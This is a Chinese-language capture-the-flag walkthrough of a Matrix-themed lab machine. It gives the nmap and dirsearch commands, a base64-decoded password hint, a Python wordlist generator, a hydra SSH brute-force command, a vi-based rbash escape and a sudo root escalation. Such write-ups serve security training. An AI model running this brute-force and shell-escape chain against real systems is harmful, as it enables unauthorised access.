一、信息收集
1、主机发现
nmap 192.168.236.0/24
2、端口扫描
开放 22、80、31337端口
nmap 192.168.236.163 -p- -A
3、目录扫描
dirsearch -u http://192.168.236.163
二、漏洞探测
步骤一:访问80端口,未发现有用信息
步骤二:访问31337端口,在源码中发现一串密文
ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=
步骤三:base64 解码,像是输出内容到一个文件中
echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
步骤四:下载打开,解密,说可以用 guest 用户登录,密码是 k1ll0rXX
,但是少了最后两位
You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.
三、GetShell
步骤一:编写 python 脚本,生成密码本
import string
all_chars = string.ascii_letters + string.digits
with open("./password.txt","w") as f:
for i in all_chars:
for j in all_chars:
f.writelines("k1ll0r" + i + j+"\n")
步骤二:hydra 爆破 ssh
hydra -l guest -P password.txt ssh://192.168.236.163 -vV -f -I -t 64
密码:k1ll0r7n
步骤三:ssh 登录
四、提权
步骤一:sudo -l ,查看root权限,受到rbash命令限制,按tab键查看可使用的命令
步骤二:发现vi命令可以使用,vi绕过rbash,配置环境变量
vi
按shift+:
!/bin/bash
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
步骤三:sudo -l 显示为all,sudo su提权,成功提权
步骤四:查看 flag